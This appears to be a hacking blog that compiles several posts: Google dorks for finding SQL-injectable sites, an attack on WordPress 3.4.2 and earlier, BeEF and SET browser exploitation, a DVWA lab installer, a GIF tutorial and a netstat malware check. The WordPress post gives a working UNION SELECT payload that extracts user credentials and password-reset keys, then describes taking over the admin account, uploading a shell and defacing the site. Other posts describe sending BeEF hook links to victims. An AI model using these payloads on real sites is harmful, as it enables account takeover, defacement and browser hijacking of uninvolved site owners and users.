Google Dorks for finding SQL injection vulnerable sites

Hello friends today i will share some google dorks collection with you, which will help you in finding more SQLi vulnerable sites. These google dorks have been collected from various resources and sites.

I have created two text files for all the google dorks and zipped it, so you can download it from download link given below.

You can also find SQLi vulnerable sites by an another method which is posted here.

Now use any of the dork to find SQLi vulnerable site and then use manual technique or any tool like Havij to hack the vulnerable site.
Full guide on hacking SQLi vulnerable site is given here .

Download From Here

You can also follow me at twitter @darktruth190

And you can add me at facebook at fb.com/dark.truth007

Hacking Wordpress without hash cracking

Hey puntos today i am back with a new post for you . This post is about hacking worpdress blogs without cracking there hashes.

As we all know now the worpdress blogs are using higher alogrithem to encrypt blog passwords, which are not easy to crack. The only methods to crack these hashes is Brute Force but brute force takes too much time.

Now lets get started--->

Things you need --->

1. Wordpress version <= 3.4.2

2. Sql injection vulnerable wordpress site(make sure version of wp site is 3.4.2 or less than it)

Lets start --->

Find SQLi vulnerable worpdress site.

Like i get www.site.com?fbconnect_action=myhome&fbuserid=1

nw add this code after the wordpress site address

+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--

Nw address will look like

http://target.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--

lets start pwning

First go to http://target.com/wp-login.php
Now click on Lost your password ?

Now the wordpress will ask you for the username or email, enter the username or email id which you got on the field and click get password.

Now it will be saying "Check your e-mail for the confirmation link."

now what wordpress does is it sends an activation key to the email address also it sets the value of activation key in the database as well. 

we will be getting the user activation key by sqli this is what its all about.

Add column name user_activation_key to extract

http://target/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activa%E2%80%8Btion_key),7,8,9,10,11,12+from+wp_users--

Now you will be able to see the activation key

Now .. finally all we have to do is enter the following url to end of the site and edit it with your activation key and username

wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE

eg:- 

http://target.com/wp-login.php?action=rp&key=cFn9vDsT3X2ZnW8vEda6&login=admin

Now the wordpress will ask u for ur new password enter your desired password & click change.

Now you will be able to login to site. 

Now upload shell and then deface it.

Note -->
1. Only for educational purpose.
2. This hack only works on Worpdress versions 3.4.2 or less than it..

[TOOL]SQLSentinel:SQL Injection Vulnerability Scanner

Hey friends this is D@rk TruTH. Sorry for posting very late i was busy in my studies because my exams are coming.
Today I am bringing a new SQL injection hunter tool named SQLSentinel.

What is SQLSentinel -->

This tool is very good if u want to test a site vulnerable to SQL injection.

This tool use crawling function first found out links like index.php?id= and then check that these links are vulnerable or not.

It only found out vulnerabilities, but not hack it.

Usage of tool --->

1. First download it from here

2. Open .zip file and click on sqlsentinel.jar and it will open but make sure you have installed java.

3. After opening it add website url in Url box and click Start.

4. If it found some vulnerabilities then it will show you in Working logs text box like i get some in image given below.

5. Use Havij or any other SQL injection tool to hack website.

Note:-->

Only for educational purpose. 

[Video]Hacking a win 7 using SET

Many of my friends were asking for the ways to hack a computer. After all the requests I made a video for all my friends and other cyber users.

What this video is about--->

In this video i will show you how to hack windows 7 using browser autopawn exploit of internet explorer.
This method works in all windows.

Things you will need ---->

1. Backtrack OS.

2. Victim. (use virtual machines)

3. Brain

So here is the video given below.
Watch it and do exactly what i do in video.
Comment, Share ,Like

Hacking a Web-browser with beef

Browser Explotation Framework is mainly used to exploit a Web-browser.When i was trying it I play a varied types of pranks with victim browser like making open a pop-up window,playing a sound,stealing cookie etc. So lets start hacking.
Follow all the steps according to my post ======>


1. First install beef by clicking on Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework->BeEF Installer.


2. Now when beef installs open beef by going to same directory like in 1st step then click on beef and beef will start connecting.

3. Now copy the open the url written in front of hook url like in image.

4. After opening the link u will see a login page just put username beef and password beef to login.


5. Now a window will open showing you beef control pannel,now the main explotation will start.


6. Now send this link  http://127.0.0.1:3000/demos/basic.html to victim.

7. Once victim will open you will be contected to his computer through his browser and you will see connected browsers at top left bottom under the Online browser tab like in image.


8. Click on any online browser in online browser tab and you will get a page with a full information of browser.

9. Then click on Commands tab to start open various exploits and tools.


10. Now use any of commands to making pranks with the victim.


Note;---> its for educational purpose only.
While doing all this dont close the terminal that will open as opening of beef.

Installing DAMN Vulnerable app on backtrack

Every one has heard about the DAMN Vulnerable web app. Today i gona tell you about installing it on backtrack. As you all know DAMN vul. app requires xammp,mysql and other softwares but these softwares are pre installed in backtrack.So, do all the steps according to this post:----->

1. Open any text editor .

2. After opening this just paste this code in it =====>

#/bin/bashecho -e "\n#######################################"echo -e "# Damn Vulnerable Web App Installer Script #"echo -e "#######################################"echo " Coded By: Travis Phillips"echo " Website: http://theunl33t.blogspot.com"echo -e -n "\n[*] Changing directory to /var/www..."cd /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Removing default index.html..."rm index.html > /dev/nullecho -e "Done!\n"

echo -n "[*] Changing to Temp Directory..."cd /tmpecho -e "Done!\n"

echo "[*] Downloading DVWA..."wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zipecho -e "Done!\n"

echo -n "[*] Unzipping DVWA..."unzip DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Deleting the zip file..."rm DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Copying dvwa to root of Web Directory..."cp -R dvwa/* /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Clearing Temp Directory..."rm -R dvwa > /dev/nullecho -e "Done!\n"

echo -n "[*] Enabling Remote include in php.ini..."cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1sed -e 's/allow_url_include = Off/allow_url_include = On/' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.inirm /etc/php5/apache2/php.ini1echo -e "Done!\n"

echo -n "[*] Enabling write permissions to /var/www/hackable/upload..."chmod 777 /var/www/hackable/uploads/echo -e "Done!\n"

echo -n "[*] Starting Web Service..."service apache2 start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Starting MySQL..."service mysql start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Updating Config File..."cp /var/www/config/config.inc.php /var/www/config/config.inc.php1sed -e 's/'\'\''/'\''toor'\''/' /var/www/config/config.inc.php1 > /var/www/config/config.inc.phprm /var/www/config/config.inc.php1echo -e "Done!\n"

echo -n "[*] Updating Database..."wget --post-data "create_db=Create / Reset Database" http://127.0.0.1/setup.php &> /dev/nullmysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/gordonb.jpg" where user = "gordonb";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/smithy.jpg" where user = "smithy";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/admin.jpg" where user = "admin";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/pablo.jpg" where user = "pablo";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/1337.jpg" where user = "1337";'echo -e "Done!\n"

echo -e -n "[*] Starting Firefox to DVWA\nUserName: admin\nPassword: password"firefox http://127.0.0.1/login.php &> /dev/null &echo -e "\nDone!\n"echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"

3. Now save it cybersucks.sh and in root folder.
4. After doing this open terminal amd type this code sh cybersucks.sh and it will start installing DAMN.

How to create animated image in gif format

Today i am posting about the creation of animated images which mainly used in websites which are in gif format.
For this you will need a software named as "Gif animator".
In this we will use differnet images in jpg format but you can use any format.Now lets start, follow all the steps according to post:--->
1.First download software from here.

2.Now click add Button.

3.Now select an image like in picture and add as many images as your wish using same procedure.

4.Now click on Create to create gif image and save it in your desired location.Now open it in a browser and you will see the result.

[TUT] Using Netstat to find viruses

I havent seen anything cover this before (at least not this way of using netstat) and sometimes people want to know if they are infected by a RAT or something. This mini tutorial should help you out a little bit.

PART 1 - Preparing Task Manager

Open Task Manager (ctrl+alt+del). Go to the processes column and click View > Select Columns.




Check the top one (PID (Process Identifier))



Now, organize Task Manager by PID. This will make things easier to read for the next step.



PART 2 - Using Netstat to see Established Connections

Now you want to go into Start > Run > cmd > "netstat -ano". It should look similar to the picture below:



Only look for ESTABLISHED connections (it would be established if its a RAT or malicious), read the PID and crosscheck into Task Manager. Notice in my example that the only established connections use the PID 424. Lets take a look at what that is:





As we can see, its Firefox. Now lets say you notice the PID reads something like "svchost.exe". You should open the file location by right clicking it and pressing Open File Location and either scan it with Virustotal or check to see if in its legit location (if it was in Appdata or Program Files and it is svchost.exe, then you may have a problem).

Hope this helped some of you out and good luck